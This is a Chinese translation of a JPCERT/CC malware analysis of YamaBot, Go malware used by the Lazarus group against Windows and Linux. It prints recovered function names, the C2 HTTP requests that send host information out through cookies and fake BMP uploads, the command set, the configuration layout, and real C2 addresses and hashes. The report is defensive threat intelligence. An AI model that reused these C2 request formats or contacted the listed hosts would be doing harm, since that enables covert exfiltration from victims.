作者:朝長 秀誠
译者:知道创宇404实验室翻译组
原文链接:https://blogs.jpcert.or.jp/en/2022/07/yamabot.html

JPCERT/CC正在持续调查Lazarus的活动。2021年,JPCERT/CC在CODE BLUE和HITCON上介绍了其攻击活动。

https://github.com/JPCERTCC/Lazarus-research/

上述研究报告中提到的YamaBot恶意软件针对的是Linux操作系统,但最近发现的另一种恶意软件针对的是Windows操作系统。(文件中称其为Kaos,但本博客称其为YamaBot。)YamaBot是在Golang中编码的恶意软件,在不同平台创建的恶意软件的功能略有不同。除了YamaBot,Lazarus还创建了其他几种针对多个平台的恶意软件,例如VSingle。本文将介绍YamaBot的详细信息。

YamaBot概述

YamaBot恶意软件使用HTTP请求与C2服务器通信。下面是示例中以Windows操作系统为目标的函数名列表。攻击者将恶意软件命名为Yamabot。针对Windows操作系统的互斥锁具有特定的功能,例如创建和检查互斥锁。

_/D_/Bot/YamaBot/utilities.BaseDecodeR
_/D_/Bot/YamaBot/utilities.HttpPostWithCookie
_/D_/Bot/YamaBot/utilities.HttpPostWithFile
_/D_/Bot/YamaBot/utilities.GetMacAddress
_/D_/Bot/YamaBot/utilities.GetHash
_/D_/Bot/YamaBot/utilities.GetCookieParams
_/D_/Bot/YamaBot/utilities.GetRndString
_/D_/Bot/YamaBot/utilities.BmpMaker
_/D_/Bot/YamaBot/utilities.createMutex
_/D_/Bot/YamaBot/utilities.CCheckkmutex
_/D_/Bot/YamaBot/utilities.CIpaddress
_/D_/Bot/YamaBot/utilities.COsname
_/D_/Bot/YamaBot/utilities.getOSVer
_/D_/Bot/YamaBot/utilities.Run
_/D_/Bot/YamaBot/utilities.Run.func1
_/D_/Bot/YamaBot/utilities.Run.func2
_/D_/Bot/YamaBot/engine.(*FileStruct).Lunch
_/D_/Bot/YamaBot/engine.(*FileStruct).Init_Verbindung
_/D_/Bot/YamaBot/engine.(*FileStruct).Verschlusselte_Zeichenkette_Eerhalten
_/D_/Bot/YamaBot/engine.(*FileStruct).getInitBotInfo
_/D_/Bot/YamaBot/engine.(*FileStruct).getEggPrice
_/D_/Bot/YamaBot/engine.(*FileStruct).handleMarketPrice
_/D_/Bot/YamaBot/engine.(*FileStruct).processMarketPrice
_/D_/Bot/YamaBot/engine.(*FileStruct).getSessionStr

下面是针对Linux操作系统的样本中包含的恶意软件的函数名称列表,称为Kaos。

_/C_/Users/administrator/Downloads/kaos/utilities.BaseDecodeR
_/C_/Users/administrator/Downloads/kaos/utilities.HttpPostWithCookie
_/C_/Users/administrator/Downloads/kaos/utilities.BaseDecode
_/C_/Users/administrator/Downloads/kaos/utilities.HttpPostWithFile
_/C_/Users/administrator/Downloads/kaos/utilities.GenerateUniqueID
_/C_/Users/administrator/Downloads/kaos/utilities.GetCookieParams
_/C_/Users/administrator/Downloads/kaos/utilities.BaseEncode
_/C_/Users/administrator/Downloads/kaos/utilities.GetRndString
_/C_/Users/administrator/Downloads/kaos/utilities.EierKochen
_/C_/Users/administrator/Downloads/kaos/utilities.CIpaddress
_/C_/Users/administrator/Downloads/kaos/utilities.Run
_/C_/Users/administrator/Downloads/kaos/engine.(*Egg).Lunch
_/C_/Users/administrator/Downloads/kaos/engine.(*Egg).kandidatKaufhaus
_/C_/Users/administrator/Downloads/kaos/engine.(*Egg).initDuck
_/C_/Users/administrator/Downloads/kaos/engine.(*Egg).GetEncString
_/C_/Users/administrator/Downloads/kaos/engine.(*Egg).getInitEggPrice
_/C_/Users/administrator/Downloads/kaos/utilities.COsname
_/C_/Users/administrator/Downloads/kaos/engine.(*Egg).getEggPrice
_/C_/Users/administrator/Downloads/kaos/engine.(*Egg).handleMarketPrice
_/C_/Users/administrator/Downloads/kaos/engine.(*Egg).processMarketPrice
_/C_/Users/administrator/Downloads/kaos/engine.(*Egg).getSessionStr
_/C_/Users/administrator/Downloads/kaos/engine.NewEgg

图1显示了读取配置的部分代码。恶意软件配置信息包括RC4密钥等(请参阅附录A了解配置的更多信息)。不同操作系统的配置没有区别。

图1:读取配置的代码

下面介绍YamaBot的通信方式和命令,重点介绍YamaBot在Linux和Windows操作系统版本上的区别。

通信方式

YamaBot 使用 HTTP 请求与 C2 服务器通信。YamaBot发送的第一个 HTTP 开机自检请求如下。这是一个 HTTP 开机自检请求,但没有要发送的数据,其用户代理是 Base64 编码的。

POST /editor/session/aaa000/support.php HTTP/1.1
Host: 213.180.180.154
User-Agent: TW96aWxsYS81LjAgKFdpbmRvd3MgTlQgMTAuMDsgV2luNjQ7IHg2NCkgQXBwbGVXZWJLaXQvNTM3LjM2IChLSFRNTCwgbGlrZSBHZWNrbykgQ2hyb21lLzYwLjAuMzExMi4xMTMgU2FmYXJpLzUzNy4zNg==
Connection: close
Content-Length: 0
Accept-Encoding: gzip

如果成功连接到C2服务器,则YamaBot发送以下请求,其中包括其Cookie标头中的信息。添加的信息包括随机生成的4字节字符串和16字节RC4密钥的Base64编码。RC4密钥使用从以下数据生成的MD5值的前16个字节。

  • 目标Windows操作系统:主机名、用户名、MAC地址
  • 目标Linux操作系统:主机名、用户名

captcha_val中的内容:RC4加密和Base64编码的终端信息和命令执行结果

POST /editor/session/aaa000/support.php HTTP/1.1
Host: 213.180.180.154
User-Agent: TW96aWxsYS81LjAgKFdpbmRvd3MgTlQgMTAuMDsgV2luNjQ7IHg2NCkgQXBwbGVXZWJLaXQvNTM3LjM2IChLSFRNTCwgbGlrZSBHZWNrbykgQ2hyb21lLzYwLjAuMzExMi4xMTMgU2FmYXJpLzUzNy4zNg==
Connection: close
Content-Length: 0
Cookie: captcha_session=MTE5NzZmMTYwYzRlNTU4YjhhNDZhMTM4ZGMwNzgzNTNhNmUy; captcha_val=W%2BIePQNeokInrSpb%2Fw1rTLAZvJAZQHmqAm2rXWdTsCvZ
Accept-Encoding: gzip

captcha_val发送的第一个数据是操作系统信息和IP地址,发送如下内容:

windows 6 amd64|[192.168.1.1]
linux 386|[192.168.1.1]

此外,如果发送的数据大小超过特定大小(确认3333字节,7000字节的示例),则将发送的数据模拟为多部分BMP数据,而不是 captcha_val发送。

POST /recaptcha.php HTTP/1.1
Host: www.karin-store.com
User-Agent: TW96aWxsYS81LjAgKFdpbmRvd3MgTlQgMTAuMDsgV2luNjQ7IHg2NCkgQXBwbGVXZWJLaXQvNTM3LjM2IChLSFRNTCwgbGlrZSBHZWNrbykgQ2hyb21lLzYwLjAuMzExMi4xMTMgU2FmYXJpLzUzNy4zNg==
Connection: close
Content-Length: [Length]
Content-Type: multipart/form-data; boundary=f24fad327291ab32166b7aa751d1d945a35933ee5bd81618274cda6afeeb
Cookie: captcha_session=YTY5NDQ5MDYwNmRkNjIyOWI3MzU1NTNmYzMxMzhiNTAyNGJh; captcha_val=NGI5NjdhNTdhNjliZTVkMg%3D%3D
Accept-Encoding: gzip

--f24fad327291ab32166b7aa751d1d945a35933ee5bd81618274cda6afeeb
Content-Disposition: form-data; name="recaptcha"; filename="recaptcha.png"
Content-Type: application/octet-stream

BMf6(....0a..DT043b01c728892b495b99ea4c257fe3a8fea3a5f
--f24fad327291ab32166b7aa751d1d945a35933ee5bd81618274cda6afeeb--

来自服务器的命令包含在Set-Cookie标头中。它们经过RC4加密(RC4密钥使用恶意软件发送的数据)和Base64编码,然后包含在captcha_session中,如下所示:

Set-Cookie: captcha_session=[Base64エンコードされた命令]

命令

来自C2服务器的指令执行的命令因目标操作系统而异。那些以Linux操作系统为目标的用户只能通过/bin/sh执行shell命令。另一方面,那些以Windows操作系统为目标的用户可以实现以下多个命令。

  • dir: 获取文件列表
  • Mapfs: 获取目录列表
  • Download: 文件下载
  • Info: 文件路径,发送PID
  • Sleep:休眠时间更改
  • Uninstall: 删除主机
  • i: 间隔时间更改
  • 其他:使用shell命令执行给定的字符串

格式要求上述命令包含在前半部分,可表示为:[command][command parameters]

如果执行命令i,则发送命令执行结果,其中包含部分德语字符,目前尚不清楚在YamaBot中包含德语的原因。

图2: 执行i命令时要发送的数据

总结

攻击者仍在使用YamaBot恶意软件。由于它不仅针对Windows操作系统,还针对Linux操作系统,因此在事件调查期间还应仔细调查服务器。日本国内当前也确认了多个Lazarus组织的攻击活动,今后应予以注意。Lazarus使用的另一种恶意软件将在下一期中介绍。

附录A:配置信息

表A-2:配置信息列表 (x86)

偏移 描述 备注
0x000 间隔 通信间隔
0x004 - 未使用
0x008 C2 服务器
0x00C C2 服务器长度
0x010 RC4 密钥
0x014 RC4 密钥长度
0x018 连接 C2 服务器 是否成功连接到 C2 服务器
0x01C Cookie 标头值 要在 Cookie 标头中设置的值
0x020 - 未使用
0x024 连接次数 与 C2 服务器的重新连接次数

表A-1:配置信息列表 (x64)

偏移 描述 备注
0x000 间隔 通信间隔
0x008 C2 服务器
0x010 C2 服务器长度
0x018 RC4 密钥
0x020 RC4 密钥长度
0x028 连接 C2 服务器 是否成功连接到 C2 服务器
0x030 Cookie 标头值 要在 Cookie 标头中设置的值
0x038 - 未使用
0x040 连接次数 与 C2 服务器的重新连接次数

附录B: C2 服务器

  • http://www.karin-store.com/recaptcha.php
  • http://yoshinorihirano.net/wp-includes/feed-xml.php
  • http://213.180.180.154/editor/session/aaa000/support.php

附录C:恶意软件哈希值

  • f226086b5959eb96bd30dec0ffcbf0f09186cd11721507f416f1c39901addafb
  • 6db57bbc2d07343dd6ceba0f53c73756af78f09fe1cb5ce8e8008e5e7242eae1

Paper 本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/1932/